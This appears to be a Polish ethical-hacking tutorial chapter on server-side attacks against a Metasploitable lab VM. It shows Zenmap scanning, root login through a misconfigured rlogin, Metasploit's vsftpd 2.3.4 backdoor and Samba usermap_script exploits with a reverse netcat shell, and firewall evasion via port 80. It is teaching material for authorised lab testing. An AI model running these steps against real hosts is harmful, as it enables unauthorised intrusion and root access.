
Uzyskiwanie dostępu do urządzeń komputerowych 

Przechodzimy teraz do kolejnej części , w której omówimy tematy związane z uzyskiwaniem dostępu 

do urządzeń komputerowych. W tej części przyjrzymy się sposobom uzyskania dostępu do komputera 

ofiary. Będziemy hakować systemy ofiar, wykorzystując różne techniki. Ta sekcja omówi pierwsze 

podejście do ataku na system ofiary: atak po stronie serwera. Przeprowadzimy atak po stronie serwera 

z użyciem urządzenia Metasploit, a także wykorzystamy backdoory. Ta część składa się z następujących 

sekcji: 

Wprowadzenie do uzyskiwania dostępu 

Ataki po stronie serwera 

Podstawy po stronie serwera 

Ataki po stronie serwera, podstawy Metasploit 

Wykonywanie kodu Metasploit 

 

Wprowadzenie do uzyskiwania dostępu 

Masz już wystarczająco dużo informacji, aby spróbować uzyskać dostęp do innych systemów, 

komputerów, serwerów, serwerów WWW i tym podobnych. W tej sekcji omówimy uzyskiwanie 

dostępu do urządzeń komputerowych. Co rozumiemy przez urządzenia komputerowe? Każde 

urządzenie elektroniczne, które widzisz, jest komputerem. Telefon, telewizor, laptop, serwer WWW, 

strona internetowa, sieć, router – wszystkie te urządzenia to komputery. Każdy z nich ma system 

operacyjny i programy zainstalowane w tych systemach operacyjnych. W większości przypadków z tych 

komputerów korzysta użytkownik. Tutaj omówimy, jak uzyskać dostęp do komputerów. W tym 

przykładzie użyjemy komputera. Będziemy mieli urządzenie docelowe Windows i hakera urządzeń 

Linux. Ale koncepcja jest zawsze taka sama; uzyskanie dostępu do urządzeń komputerowych jest 

zawsze takie samo. Możemy zastosować te same koncepcje, jeśli naszym celem jest telefon, tablet lub 

serwer WWW, ale będziemy je traktować tak samo, jak zwykły komputer. Bardzo ważne jest, aby to 

zrozumieć: każde urządzenie, które widzimy, jest komputerem i działa tak samo, jak nasz komputer 

osobisty. Możemy skonfigurować serwer WWW na naszym komputerze, sprawić, by wyglądał i działał 

jak strona internetowa, a nawet jak telewizor, czy cokolwiek innego, co zechcemy. Dosłownie, 

telewizory i wszystkie tego typu urządzenia to po prostu proste komputery z mniej skomplikowanym 

sprzętem. Będziemy mówić o atakowaniu tych urządzeń z dwóch głównych stron: strony serwera i 

strony klienta. 

Strona serwera 

Atak po stronie serwera nie wymaga żadnej interakcji użytkownika. Będziemy mieli komputer i 

zobaczymy, jak uzyskać do niego dostęp bez konieczności podejmowania przez niego jakichkolwiek 

działań. Dotyczy to głównie serwerów WWW, aplikacji i urządzeń, z których ludzie rzadko korzystają. 

Ludzie po prostu je konfigurują, a następnie uruchamiają się automatycznie. Mamy tylko adres IP i 

zobaczymy, jak możemy przetestować bezpieczeństwo i uzyskać dostęp do tego komputera na 

podstawie tego adresu IP. Naszym głównym sposobem na dostanie się do systemu będzie system 

operacyjny, na którym działa dany system docelowy, oraz aplikacje zainstalowane w tym systemie. 

Różne rodzaje ataków po stronie serwera obejmują ataki typu SQL injection, przepełnienie bufora i 

ataki typu „odmowa usługi” (DDoS). Skupimy się na atakach po stronie serwera. Przyjrzymy się 

szczegółowo, czym jest atak po stronie serwera i jak go przeprowadzić. 



Strona klienta 

Drugim podejściem, które wypróbujemy, jest atak po stronie klienta. To podejście będzie wymagało 

od klienta, czyli osoby korzystającej z komputera, wykonania pewnych czynności. Może to obejmować 

wiele czynności, takich jak instalacja aktualizacji, otwarcie obrazu lub uruchomienie trojana. Nauczymy 

się, jak stworzyć trojana, jak tworzyć tylne furtki i jak wykorzystać socjotechnikę, aby zmusić osobę do 

wykonania określonej czynności, dzięki której po jej wykonaniu uzyskamy dostęp do jej komputera. 

Gromadzenie informacji będzie w tym przypadku kluczowe, ponieważ musimy znać osobę, którą 

atakujemy. Różne rodzaje ataków po stronie klienta obejmują podszywanie się pod użytkownika 

(content spoofing), ataki typu cross-site scripting i fiksację sesji (session fixation). 

Po eksploatacji 

Po uzyskaniu dostępu do systemu sprawdzimy, co możemy zrobić po uzyskaniu dostępu do tego 

komputera, niezależnie od metody użytej do uzyskania do niego dostępu. Może to obejmować atak po 

stronie serwera, atak po stronie klienta, a nawet po prostu dostęp fizyczny, gdzie ofiara odchodzi od 

biurka, a my wchodzimy. Przyjrzymy się, co możemy zrobić po uzyskaniu dostępu do celu, jak możemy 

go dalej wykorzystać i zwiększyć nasze uprawnienia, lub zaatakować inne komputery w tym samym 

miejscu. 

Ataki po stronie serwera 

Pierwszym z nich będą ataki po stronie serwera. Są to ataki, które nie wymagają interakcji użytkownika. 

Możemy ich używać na serwerach WWW, a także na zwykłych komputerach, z których ludzie korzystają 

na co dzień. Powodem, dla którego użyjemy ich przeciwko mojemu Metasploitable (który działa na 

systemie Unix i jest bardziej serwerem niż zwykłym komputerem osobistym), jest to, że jeśli nasz cel 

korzysta z komputera osobistego i nie znajduje się w tej samej sieci co my, to nawet jeśli uda nam się 

uzyskać jego adres IP, będzie on znajdował się za routerem. Prawdopodobnie będą łączyć się przez 

router, a zatem jeśli użyjemy adresu IP, aby spróbować ustalić, jakie systemy operacyjne są na nim 

uruchomione i jakie aplikacje są zainstalowane, nie otrzymamy zbyt wielu przydatnych informacji, 

ponieważ otrzymamy tylko informacje o routerze, a nie o osobie. Osoba będzie ukrywać się za 

routerem. Gdy naszym celem jest serwer WWW lub serwer w ogóle, serwer będzie miał adres IP, a my 

będziemy mogli uzyskać do niego dostęp bezpośrednio z internetu. Ten atak zadziała, jeśli osoba jest 

w tej samej sieci i ma prawdziwy adres IP. Jeśli uda nam się pingować tę osobę, nawet jeśli jest to 

komputer osobisty, będziemy mogli przeprowadzić wszystkie ataki i wszystkie metody gromadzenia 

informacji, o których się dowiemy.  

Naszym celem będzie moja maszyna Metasploitable. Zanim zaczniemy nad nią pracować, sprawdzimy 

ustawienia sieciowe. Aby to zweryfikować, sprawdźmy, czy jest włączona funkcja NAT i czy znajduje się 

w tej samej sieci co maszyna Kali. Maszyna Kali będzie naszą maszyną atakującą. Ponownie musimy 

sprawdzić, czy sieć jest włączona w trybie NAT i czy znajduje się w tej samej podsieci. To bardzo ważne. 

Jeśli klikniemy ifconfig, zobaczymy nasz adres IP, jak pokazano na poniższym zrzucie ekranu: 



 

Jeśli przejdziemy do mojego komputera Kali, powinniśmy móc go pingować. Jak widać na poniższym 

zrzucie ekranu, po pingowaniu adresu IP otrzymujemy odpowiedzi z komputera, co oznacza, że 

jesteśmy z nim połączeni i możemy uzyskać od niego odpowiedzi. Możemy zatem przetestować jego 

bezpieczeństwo, jak pokazano na poniższym zrzucie ekranu: 

 

Ponownie, możemy zastosować te ataki i te podejścia przeciwko dowolnemu komputerowi, który 

możemy pingować. Niezależnie od tego, czy jest to komputer osobisty, czy serwer dowolnego rodzaju, 

o ile możemy pingować tę lokalizację lub osobę, możemy przeprowadzić ataki i zastosować metody, o 

których będziemy mówić. Ataki po stronie serwera działają na strony internetowe, serwery WWW, 

ludzi i zwykłe komputery, o ile możemy je pingować. Aby zobrazować tę ideę, pokażemy maszynę 

Metasploitable, która jest po prostu zwykłą maszyną wirtualną, której możemy używać do wszystkiego. 

Możemy ją wyświetlić za pomocą polecenia -ls, a nawet zainstalować interfejs graficzny. Wtedy 

będziemy mogli używać jej tak, jak używamy mojej maszyny Kali. Jednocześnie ma ona serwer WWW. 

Jeśli spróbujemy nawigować do serwera, zobaczymy, że faktycznie ma on serwer WWW i zawiera 

strony internetowe, które możemy czytać i przeglądać. Przyjrzymy się tym stronom i zobaczymy, jak 

możemy je przetestować penetracyjnie w kolejnych rozdziałach, jak widać na poniższym zrzucie 

ekranu: 



 

Wszystko jest komputerem i jeśli możemy pingować adres IP, możemy przeprowadzić ataki po stronie 

serwera. Działają one głównie na serwerach, ponieważ serwery zawsze mają prawdziwe adresy IP. Jeśli 

dana osoba znajduje się w tej samej sieci co my, możemy ją pingować, aby przeprowadzić również 

wszystkie te ataki. 

Podstawy ataków po stronie serwera 

Pierwszym krokiem w atakach po stronie serwera jest gromadzenie informacji. Gromadzenie 

informacji jest bardzo ważne, ponieważ pozwala nam poznać system operacyjny komputera 

docelowego, zainstalowane programy, uruchomione usługi oraz porty powiązane z tymi usługami. Z 

tych zainstalowanych usług możemy spróbować uzyskać dostęp do systemu. Możemy to zrobić, 

próbując domyślnych haseł. Widzieliśmy to w części poświęconej testom penetracyjnym sieci, gdzie na 

iPadzie zainstalowano usługę SSH, która zasadniczo dawała nam pełny dostęp do komputera, jeśli 

użytkownik nadal używa domyślnego hasła, czyli alpine. Możemy to zrobić z dowolną inną usługą, co 

zostanie omówione w dalszej części tego rozdziału. Wiele osób instaluje usługi i błędnie je konfiguruje, 

więc przedstawimy kolejny przykład. Czasami wiele z tych usług jest zaprojektowanych tak, aby 

umożliwić komuś zdalny dostęp do komputera, ale oczywiście wymagają one pewnych implementacji 

zabezpieczeń. Użytkownicy często błędnie konfigurują te usługi, dzięki czemu możemy wykorzystać te 

błędy i uzyskać dostęp do tych komputerów. Innym problemem z tymi usługami jest to, że niektóre z 

nich mogą mieć nawet tylne furtki, co również zobaczymy na przykładzie. Wiele z nich będzie miało 

luki w zabezpieczeniach, takie jak zdalne przepełnienia bufora lub luki umożliwiające wykonanie kodu, 

co pozwoli nam uzyskać pełny dostęp do komputera. Najprostszym sposobem na to jest coś, co już 

widzieliśmy: Zenmap. Używamy Zenmap z adresem IP. Otrzymujemy listę wszystkich tych usług, a 

następnie wyszukujemy każdą z nich w Google, aby sprawdzić, czy zawierają jakieś luki. W poprzednich 

rozdziałach widzieliśmy, jak można używać Zenmap, ale chcemy po prostu przekazać ideę, że wszystko 

jest komputerem. Widzieliśmy już, że urządzenie Metasploitable jest w rzeczywistości stroną 

internetową. Ma uruchomiony serwer WWW; strony internetowe niczym się od tego nie różnią. Aby 

uzyskać adres IP strony internetowej, wystarczy ping. Na przykład, jeśli celujemy w Facebooka, musimy 

ping facebook.com i zdobędziemy jego adres IP. Będziemy mieli adres IP Facebooka i będziemy mogli 

uruchomić na nim Zenmap i uzyskać listę wszystkich uruchomionych usług na Facebooku. Oczywiście 

nie zrobimy tego, ponieważ nie mamy do tego uprawnień. Uruchomimy Zenmap na tym urządzeniu 

Metasploitable, które jest w zasadzie komputerem i to właśnie je chcemy przetestować. 



Uruchomimy Zenmap w taki sam sposób, jak poprzednio. Przejdziemy do sekcji „Aktywności”. 

Wystarczy wyszukać Zenmap i go otworzyć. Teraz wprowadzimy adres IP naszego celu, urządzenia 

Metasploitable, który w naszym przykładzie wynosił 10.0.2.4. Pamiętaj, że  w teście penetracji sieci, 

użyliśmy bazowego adresu IP i dodaliśmy go do 24, aby objąć wszystkie adresy IP w naszej sieci. W tym 

przypadku możesz testować zdalny adres IP. Na przykład, w przypadku Facebooka, wystarczy wpisać 

docelowy adres IP Facebooka i go przetestować. Ponieważ jednak nie mamy do tego uprawnień, nie 

będziemy tego robić. Mamy jednak uprawnienia do testowania naszego własnego urządzenia, które 

jest zainstalowane w tej samej sieci co my, dlatego wprowadzimy ten adres IP. Możemy dosłownie 

wpisać dowolny adres IP i go przetestować. Użyjemy funkcji skanowania, która wyświetli listę 

wszystkich zainstalowanych aplikacji, jak pokazano na poniższym zrzucie ekranu: 

 

Po zakończeniu skanowania będziemy mieli wiele otwartych portów i usług. Wskazane jest przejście 

do zakładki „Wyjście Nmap”, sprawdzenie portów, zapoznanie się z usługami i wyszukanie ich nazw w 

Google. Na przykład na poniższym zrzucie ekranu mamy port 21, który jest portem FTP. FTP to usługa 

instalowana w celu umożliwienia użytkownikom przesyłania lub pobierania plików ze zdalnego 

serwera. Usługi FTP zazwyczaj wymagają nazwy użytkownika i hasła, ale widzimy, że ta usługa została 

błędnie skonfigurowana i umożliwia anonimowe logowanie FTP. W przeciwieństwie do protokołu SSH, 

którego używaliśmy wcześniej podczas testów penetracyjnych sieci, możemy użyć domyślnego hasła. 

Dzięki temu będziemy mogli zalogować się bez hasła, jak widać na poniższym zrzucie ekranu: 



 

Wystarczy pobrać klienta FTP, takiego jak FileZilla, i będziemy mogli połączyć się za pomocą tego adresu 

IP na porcie 21. Nie będziemy wnikać w szczegóły, jak to zrobić, ponieważ jest to bardzo proste. 

Wystarczy pobrać aplikację i połączyć się z nią. Możemy również wyszukać w Google serwer FTP, w 

naszym przypadku vsftpd 2.3.4, i sprawdzić, czy występują na nim jakieś problemy, błędy w konfiguracji 

lub znane luki w zabezpieczeniach umożliwiające wykonywanie kodu. Po wyszukaniu w Google 

zobaczymy, że ta konkretna aplikacja, vsftpd 2.3.4, ma zainstalowaną tylną furtkę. Dosłownie była ona 

z nią w momencie premiery. Musimy wyszukać w Google usługi po kolei i sprawdzić, czy nie mają 

żadnych błędów w konfiguracji, zainstalowanych luk w zabezpieczeniach lub znanych luk w 

zabezpieczeniach. Teraz przyjrzymy się portowi 512. Załóżmy, że sprawdzaliśmy je po kolei, nie 

mogliśmy nic znaleźć i dotarliśmy do portu TCP 512, jak pokazano na poniższym zrzucie ekranu: 

 



Wyszukamy w Google usługę działającą na tym porcie, ponieważ nie wiemy, co to jest. Po krótkim 

googlowaniu wiemy, że netkit-rsh to program do zdalnego wykonywania poleceń. Jeśli uda nam się 

zalogować za jego pomocą, będziemy mogli wykonywać polecenia na komputerze docelowym. 

Program ten korzysta z programu rsh rlogin, który jest programem dostarczanym z Linuksem. Pozwala 

nam on, podobnie jak SSH, wykonywać polecenia zdalne na komputerze docelowym. Wróćmy i 

zobaczmy, jak możemy połączyć się z usługą rsh rlogin. Przyjrzyjmy się pakietowi netkit- rsh i temu, co 

zawiera. Jak widać, jest to Ubuntu. Docelowy system komputerowy działa na Ubuntu i widzimy, że tutaj 

używa usługi rsh -client do połączenia. Musimy zainstalować pakiet, aby połączyć się z tą usługą. Jest 

to program kliencki dla zdalnego połączenia powłoki. Teraz wróćmy i zainstalujmy rsh -client . Tak jak 

poprzednio, gdy potrzebowaliśmy coś zainstalować, uruchamiamy apt -get i wykonujemy install. 

Wpiszemy nazwę programu, który chcemy zainstalować, więc jest to rsh -client . Polecenie instalacji 

rsh -client  wygląda następująco:  

apt-get install rsh-client  

apt -get zainstaluje go i skonfiguruje. Po zainstalowaniu użyjemy rlogin do zalogowania się, ponieważ 

na pierwszej stronie poinformowano nas, że program rlogin ułatwia logowanie. Użyjemy rlogin i 

ponownie, jeśli nie wiemy, jak korzystać z tej aplikacji, użyjemy  --help, aby dowiedzieć się, jak jej 

używać, jak pokazano na poniższym zrzucie ekranu: 

 

Ważna jest tutaj nazwa użytkownika (-l) i host, czyli docelowy adres IP. Teraz wykonamy rlogin. Jako 

nazwę użytkownika wpiszemy root, czyli użytkownika z największymi uprawnieniami w systemie, a 

następnie wprowadzimy docelowy adres IP, czyli 10.0.2.4. Oto polecenie: 

rlogin -l root 10.0.2.4 

I teraz jesteśmy zalogowani do komputera Metasploitable. Jeśli wykonamy polecenie id, aby uzyskać 

identyfikator, zobaczymy, że jesteśmy root. Jeśli wykonamy uname -a, wyświetli się nazwa hosta i jądro 

uruchomione na maszynie. Widzimy, że znajdujemy się na maszynie Metasploitable z dostępem root, 

jak pokazano poniżej: 

 

To podstawowy, ręczny sposób uzyskania dostępu do komputera docelowego poprzez wykorzystanie 

błędnej konfiguracji zainstalowanej usługi. Usługa rlogin nie była poprawnie skonfigurowana. 

Wystarczyło wyszukać w Google, jaki port był dołączony do komputera docelowego, aby zalogować się 

i uzyskać pełny dostęp do komputera docelowego. Kluczem jest tutaj ponowne przeskanowanie 

Zenmap, a następnie sprawdzenie każdego znalezionego portu. Wyszukujemy ten port w Google pod 

kątem błędów konfiguracji i domyślnych haseł. Jeśli usługa docelowa miała backdoora lub wykonywała 

kod, być może po prostu nie została poprawnie zaprogramowana lub miała lukę, która może posłużyć 

do uzyskania dostępu do komputera. 

Ataki po stronie serwera — podstawy Metasploit 

W tej sekcji przyjrzymy się przykładowi bardzo prostego problemu: backdoora. Niektóre programy lub 

usługi są dostarczane z wbudowanymi backdoorami. Wykorzystamy to i wybierzemy ten bardzo prosty 

exploit, ponieważ przyjrzymy się frameworkowi o nazwie Metasploit. Będziemy z niego często 



korzystać. Zaczniemy od czegoś prostego, a następnie zagłębimy się w framework. Najpierw 

przyjrzyjmy się, jak znaleźć ten exploit. Ponownie, używając tej samej metody, której zawsze 

używaliśmy, wykonujemy skanowanie Nmap; jak wiemy, przejdziemy na każdy port i wyszukamy go w 

Google, szukając exploitów. Wpiszemy w Google nazwę usługi vsftpd 2.3.4 exploit. Jest to nazwa usługi, 

po której następuje exploit. Widzimy, że pierwszy wynik pochodzi ze strony internetowej o nazwie 

Rapid7. Rapid7 to firma, która tworzy framework Metasploit, dlatego wybraliśmy ten konkretny 

exploit. Zamierzamy wykorzystać tę usługę, czyli ten problem, za pomocą Metasploit. Rapid7 

poinformuje nas, że wersja FTP 2.3.4  ma funkcję wykonywania poleceń backdoor, więc możemy 

zasadniczo wykonywać polecenia na komputerze docelowym, jeśli ma zainstalowany ten program. Z 

Nmapa wiemy, że ten program jest zainstalowany, co oznacza, że możemy wykonywać polecenia na 

komputerze docelowym. Metasploit, jak już wspomnieliśmy, został stworzony przez Rapid7. To 

rozbudowany framework, który zawiera dużą liczbę exploitów. Pozwala on na wykorzystywanie luk w 

zabezpieczeniach lub tworzenie własnych exploitów. Jeśli jesteś ekspertem i wiesz, jak odkrywać i 

tworzyć exploity, Metasploit ci w tym pomoże. Na razie wykorzystujemy bardzo prostą, istniejącą lukę 

w zabezpieczeniach. Polecenia w Metasploit są bardzo proste. Na początku mogą wydawać się nieco 

skomplikowane, ale gdy się do nich przyzwyczaimy, są bardzo łatwe w użyciu i wiele z nich to polecenia 

ogólne. Poniżej pokażemy Ci podstawowe polecenia ogólne.  

Są też inne polecenia, do których z czasem się przyzwyczaimy: 

msfconsole: To polecenie uruchamia program Metasploit. 

help: Dzięki temu możemy uzyskać informacje o poleceniach i opis sposobu ich użycia. 

show: To polecenie wyświetla dostępne exploity. Możemy wyświetlić dostępne narzędzia pomocnicze 

i ładunki. Omówimy znaczenie każdego z nich w przyszłości. 

use: To polecenie służy do użycia czegoś, co pokazaliśmy. Na przykład, pokazujemy exploity i 

wybieramy konkretny exploit, którego chcemy użyć. Następnie używamy polecenia use i wpisujemy 

nazwę exploita, aby go uruchomić.  

set: Polecenie  set służy do ustawiania konkretnych opcji exploita. Na przykład, jeśli chcemy ustawić 

adres IP naszego celu, ustawiamy adres IP, a następnie wpisujemy wartość adresu IP, na którą chcemy 

go ustawić. 

exploit : Na koniec, po zakończeniu konfiguracji, możemy wpisać exploit, aby uruchomić exploita. 

Uruchomiliśmy Nmap, wyszukaliśmy nazwę usługi w Google i pierwszą rzeczą, jaka się pojawiła, było 

to, że usługa ma tylne drzwi do wykonywania poleceń. Ponieważ dotyczy to Rapid7, podatność ta może 

zostać wykorzystana za pomocą Metasploit. Nazwa modułu, której będziemy używać, to 

, aby wykorzystać tę podatność. Teraz przejdziemy do 

konsoli i uruchomimy Metasploit za pomocą polecenia msfconsole, a następnie uruchomimy use, a 

następnie wpiszemy nazwę exploita, która brzmi : 

use exploit/unix/ftp/vsftpd_234_backdoor 

Jak widać na poniższym zrzucie ekranu, nazwa zmieniła się na exploit a następnie nazwa exploita, 

którego używamy: 

 



Następnie użyjemy polecenia show, aby wyświetlić opcje, które musimy ustawić. Jak wiemy, show to 

polecenie ogólne, którego możemy użyć w wielu przypadkach. W tym przypadku używamy polecenia 

showoptions, aby wyświetlić wszystkie opcje, które możemy zmienić dla tego konkretnego exploita. 

Jak widać na poniższym zrzucie ekranu, drugą opcją jest port, na którym działa usługa. Jest on już 

ustawiony na port 21: 

 

Jeśli wrócimy do Nmapa, zobaczymy, że nasz docelowy klient FTP lub serwer działa na porcie 21. Nie 

musimy niczego zmieniać. Musimy zmienić tylko RHOST.RHOST to docelowy adres IP, a my ustawimy 

RHOST, który jest adresem IP mojej docelowej maszyny Metasploitable. Używamy set, a po set 

umieszczamy nazwę opcji. Jeśli chcemy zmienić port, ustawiamy RPORT, ale zmieniamy RHOST na 

10.0.2.4. Jak wyjaśniliśmy na początku tego tematu, użyjemy opcji set lub polecenia set. Polecenie 

będzie wyglądać następująco: 

set RHOST 10.0.2.4 

Naciśnij Enter i, jak widać na kolejnym zrzucie ekranu, opcja RHOST jest ustawiona na 10.0.2.4: 

 

Teraz pokażemy opcje ponownie, aby upewnić się, że wszystko jest poprawnie skonfigurowane. Jak 

widać na poniższym zrzucie ekranu, RHOST został zmieniony na 10.0.2.4: 

 

Wszystko jest już gotowe. Aby wykonać polecenie exploit, wystarczy wpisać eexploit. Na poniższym 

zrzucie ekranu widać, że polecenie exploit zostało pomyślnie wykonane i mamy teraz dostęp do 

komputera docelowego. Jeśli wpiszemy id, zobaczymy, że nasze UID to root: 



 

Teraz w zasadzie uruchamiamy tutaj polecenia Linuksa, więc jeśli wykonamy polecenie uname -a, 

zobaczymy, że to moja maszyna Metasploitable, a jeśli wykonamy polecenie ls, wyświetli nam listę 

plików. Jeśli wykonamy polecenie pwd, pokaże nam naszą lokalizację i możemy użyć poleceń Linuksa, 

aby wykonać dowolne działanie na maszynie docelowej: 

 

To było bardzo proste użycie Metasploit. W przyszłości będziemy go używać do bardziej 

zaawansowanych działań. 

Zdalne wykonywanie kodu w Metasploit 

Teraz przyjrzymy się Metasploit bardziej szczegółowo i zobaczymy, jak wykorzystać lukę w 

zabezpieczeniach określonej usługi. Jest to luka umożliwiająca wykonanie kodu, która zapewni nam 

pełny dostęp do komputera docelowego. Wracając do wyników w Nmap, zrobimy to samo, co 

robiliśmy od jakiegoś czasu: skopiujemy nazwę usługi i sprawdzimy, czy ma jakieś luki. Na razie 

przyjrzymy się portowi 139, który ma serwer Samba w wersji 3.X. Przejdziemy do Google, tak jak w 

poprzedniej sekcji, i poszukamy Samba 3.X exploit. Zobaczysz wiele wyników. Ten, który nas 

interesuje, pochodzi z Rapid7, ponieważ, jak wspomniano wcześniej, to właśnie oni tworzą Metasploit, 

więc exploity, które tam widzimy, mogą być wykorzystywane za jego pośrednictwem. Exploit, którego 

będziemy używać, to skrypt mapowania nazw użytkowników. To luka umożliwiająca wykonywanie 

poleceń. Nazwa luki to więc jest to ta sama luka, której 

użyliśmy wcześniej ze złośliwym backdoorem w usłudze FTP. To po prostu inna nazwa, którą będziemy 

używać, jak pokazano na poniższym zrzucie ekranu: 



 

Przechodzimy do Metasploit i uruchamiamy msfconsole. Piszemy polecenie tak jak w poprzedniej 

sekcji. Piszemy use, a następnie wpisujemy nazwę exploita, którego chcemy użyć. Następnie 

wykonujemy show options. Polecenie będzie wyglądać następująco: 

use exploit/multi/samba/usermap_script show options 

Oto wynik poprzedniego polecenia: 

 

Korzystanie z tych exploitów jest zawsze praktycznie takie samo. Jedyną różnicą jest options, który 

możemy ustawić dla każdego exploita. Zawsze uruchamiamy use, wpisujemy nazwę exploita, a 

następnie wykonujemy show options, aby sprawdzić, co możemy zmienić, aby działał z tym exploitem. 

W przyszłości prawdopodobnie będziemy mieli do czynienia z innymi exploitami niż te, które mamy 

teraz. Za każdym razem, gdy chcemy uruchomić exploit, wykonujemy use <exploit name>, a następnie 

show options, aby wyświetlić opcje, które chcemy skonfigurować. Jednak korzystanie z exploitów, 



ustawianie opcji i ich uruchamianie zawsze przebiega tak samo. Nauczymy się kilku przykładów, które 

powinny obejmować praktycznie wszystko, co chcemy zrobić w przyszłości. Ponownie musimy 

skonfigurować RHOST, czyli adres IP komputera docelowego, i zrobimy to tak samo, jak poprzednio. 

Ponieważ ustawienie options jest zawsze takie samo, wykonamy set RHOST, a następnie wprowadzimy 

adres IP komputera docelowego, czyli 10.0.2.4. Dokładnie tak jak poprzednio, używamy polecenia set, 

aby ustawić opcję, którą jest RHOST. Uruchomimy  show options i jak widać na poniższym zrzucie 

ekranu, RHOST zostanie ustawiony poprawnie zgodnie ze wskazanym adresem IP: 

 

Tutaj sprawy różnią się od poprzedniej sekcji. W poprzedniej sekcji użyliśmy backdoora, który był już 

zainstalowany na komputerze docelowym, więc wszystko, co musieliśmy zrobić, to połączyć się z 

backdoorem, a następnie mogliśmy uruchomić dowolne polecenia Linuksa na komputerze docelowym. 

W tej sekcji komputer docelowy nie ma backdoora; ma normalny program, który ma przepełnienie 

bufora lub lukę umożliwiającą wykonanie kodu. Program nie ma żadnego kodu, który pozwalałby nam 

na uruchamianie poleceń Linuksa. Ma pewną wadę, która pozwoli nam uruchomić mały fragment 

kodu. Te małe fragmenty kodu nazywane są ładunkami. Musimy utworzyć ładunek, a następnie 

uruchomić go na komputerze docelowym, wykorzystując znalezioną lukę. Ten fragment kodu pozwoli 

nam zrobić różne rzeczy. Ładunek pozwala nam robić rzeczy, które są dla nas przydatne. Ładunek może 

pozwalać na wykonywanie poleceń Linuksa, a w przyszłości omówimy inne typy ładunków. Aby 

zobaczyć, jakich ładunków można użyć z tym konkretnym exploitem, wystarczy uruchomić polecenie 

show playloads. Możemy użyć różnych typów ładunków, jak pokazano na poniższym zrzucie ekranu: 



 

Ładunki to małe fragmenty kodu, które zostaną wykonane na komputerze docelowym po 

wykorzystaniu luki. Kiedy wykorzystamy lukę, wybrany przez nas kod zostanie wykonany i, w zależności 

od wybranego typu ładunku, wykona on dla nas użyteczne zadanie. W tej chwili widzimy, że wszystkie 

ładunki są uruchamiane z poziomu wiersza poleceń, co pozwala nam uruchamiać polecenia na 

komputerze docelowym, tak jak polecenia Linuksa. Wszystkie działają tylko w systemie Unix, ponieważ 

naszym celem jest Linux. Istnieją dwa główne typy ładunków: 

Ładunki wiążące: Po prostu otwierają port na komputerze docelowym, a my możemy się z nim 

połączyć. 

Ładunki odwrotne: Działają odwrotnie niż ładunki wiążące. Otwierają port na moim komputerze, a 

następnie łączą się z komputera docelowego do naszego. 

Jest to przydatne, ponieważ pozwala nam ominąć zapory sieciowe. Zapory sieciowe filtrują wszystkie 

połączenia kierowane do komputera docelowego, ale jeśli komputer docelowy połączy się z nami, a 

my nie mamy zapory sieciowej, będziemy mogli ją ominąć. Użyjemy ładunku 

. Ostatnią częścią tych ładunków jest język programowania lub 

narzędzie, które zostanie użyte do ułatwienia połączenia. Na przykład, na poprzednim zrzucie ekranu 

możemy zobaczyć ładunki napisane w Perlu, Ruby, Pythonie, PHP lub przy użyciu Netcata, który jest 

narzędziem umożliwiającym połączenia między komputerami. Ładunek 

 to ten, którego będziemy używać, i będziemy go używać w taki sam 

sposób, jak exploita. Użyjemy go po prostu za pomocą polecenia set. Polecenie będzie wyglądać 

następująco: 

set PAYLOAD cmd/unix/reverse_netcat 

W ten sam sposób, w jaki ustawiasz option, ustawimy ładunek. Wykonujemy show option, aby 

sprawdzić, czy są jakieś inne options, które musimy set, a ponieważ wybraliśmy ładunek, jest ich więcej. 



Jak widać na poniższym zrzucie ekranu, istnieje opcja o nazwie LHOST, która jest adresem nasłuchu, 

czyli naszym własnym adresem: 

 

Uzyskamy własny adres IP za pomocą polecenia ifconfig. W tym przykładzie adres to 10.0.2.15, co 

przedstawiono poniżej: 

 

Ustawimy LHOST w taki sam sposób, w jaki ustawiliśmy RHOST wcześniej. Ustawiliśmy LHOST na 

10.0.2.15. Wcześniej używaliśmy set RHOST, aby ustawić tę opcję. Teraz ustawiamy LHOST, aby 

ustawić tę konkretną opcję. Polecenie set jest naprawdę proste:  set, <option name>, a następnie 

<value>, na który chcemy go ustawić: 

set LHOST 10.0.2.15 

Następnie wykonujemy show options i wszystko wydaje się być w porządku, jak pokazano na 

poniższym zrzucie ekranu: 



 

Wykorzystujemy ten exploit. RHOST jest ustawiony na 10.0.2.4, co jest w porządku, a następnie 

LHOST jest ustawiony na 10.0.2.15, co jest idealne, a następnie możemy ustawić port, na którym 

będziesz nasłuchiwać na swoim obecnym komputerze. Możesz ustawić go na 80, jeśli chcesz. To port 

używany przez przeglądarki internetowe. Jeśli ustawimy LPORT na 80 komputer docelowy spróbuje 

połączyć się z nami przez port 80, który nigdy nie jest filtrowany przez zapory sieciowe, ponieważ to 

port używany przez przeglądarki internetowe, czyli serwery WWW. Za każdym razem, gdy uzyskujemy 

dostęp do witryny internetowej, w rzeczywistości uzyskujemy dostęp do portu 80 na tej witrynie. Jeśli 

otworzymy port 80 na naszym komputerze, a obiekt docelowy połączy się z nami przez port 80, zapora 

sieciowa uzna, że obiekt docelowy jedynie przegląda internet. Nie będziemy tego teraz robić, ponieważ 

mamy serwer WWW działający na porcie 80, co spowoduje konflikt. Po prostu zmienimy port LPORT 

na 5555, w taki sam sposób jak LHOST. Ponownie wykonamy show options i, jak widać na poniższym 

zrzucie ekranu, port ten został zmieniony na 5555: 



 

Teraz uruchomimy polecenie exploit, aby uruchomić exploit. Jak widać na poniższym zrzucie ekranu, 

informuje ono, że session 1 zostało otwarte i nawiązano połączenie między urządzeniem 

10.0.2.15:5555 a urządzeniem 10.0.2.4:48184, czyli naszym urządzeniem i urządzeniem docelowym: 

 

Wykonamy pwd i wykonamy id. Zobaczymy, że jesteśmy root. Jeśli wykonamy uname -a, zobaczymy, 

że jesteśmy w maszynie Metasploitable, a jeśli wykonamy ls, będziemy mogli wyświetlić listę plików 

itd. Możemy użyć dowolnego polecenia Linuksa, tak jak zrobiliśmy to wcześniej w poprzedniej sekcji, 

jak pokazano poniżej: 



 

Podsumowanie 

Omówiliśmy koncepcję uzyskiwania dostępu do maszyny, a także omówiliśmy sposoby jego uzyskania. 

Omówiliśmy również podstawy ataków po stronie serwera, czyli techniki uzyskiwania dostępu do 

maszyn ofiar. Dowiedzieliśmy się, jak użyć domyślnego hasła lub błędnie skonfigurowanej usługi, aby 

uzyskać dostęp do komputera docelowego. Następnie dowiedzieliśmy się, jak użyć usługi z domyślnym 

hasłem, usługi, która nie została poprawnie skonfigurowana, oraz usługi z backdoorem, aby uzyskać 

pełny dostęp do komputera docelowego. Przyjrzeliśmy się również wykorzystaniu Metasploit do 

